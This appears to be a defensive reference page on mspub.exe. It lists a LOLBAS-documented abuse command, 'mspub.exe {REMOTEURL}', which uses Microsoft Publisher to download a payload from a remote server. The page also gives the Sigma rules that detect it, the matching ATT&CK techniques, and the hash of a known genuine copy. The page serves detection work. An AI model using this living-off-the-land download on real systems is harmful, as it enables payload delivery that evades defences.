Identifier / Programs / Windows

mspub.exe

Microsoft Publisher file version info (xCyclopedia)

LOLBAS Download 3 Sigma rules name it 2 ATT&CK techniques 1 documented command 1 known copy with hashes

How mspub.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for mspub.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads payload from remote server

mspub.exe {REMOTEURL}

Identify

Trips 1 Sigma rule: mediumArbitrary File Download Via MSPUB.EXE by Nasreddine Bencherchali (Nextron Systems)

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for mspub.exe, by Nir Chako, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for mspub.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

mediumArbitrary File Download Via MSPUB.EXENasreddine Bencherchali (Nextron Systems)

highRenamed Office Binary ExecutionNasreddine Bencherchali (Nextron Systems)

mediumSuspicious New Instance Of An Office COM ObjectNasreddine Bencherchali (Nextron Systems)

T1105Ingress Tool Transfer

T1218System Binary Proxy Execution

Is it the real mspub.exe?

file version info and known copies

Installed inC:\Program Files (x86)\Microsoft Office\root\Office16\

Signed byMicrosoft Corporation

ProductMicrosoft Office, Microsoft Corporation

DescriptionMicrosoft Publisher

1 known copy

16.0.12527.20482 · C:\Program Files (x86)\Microsoft Office\root\Office16\MSPUB.EXE · signed by Microsoft Corporation

d12acbf9b696b814b909474b859fc9f07ba4a7406a56d60b974e03f4bd810f8f

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.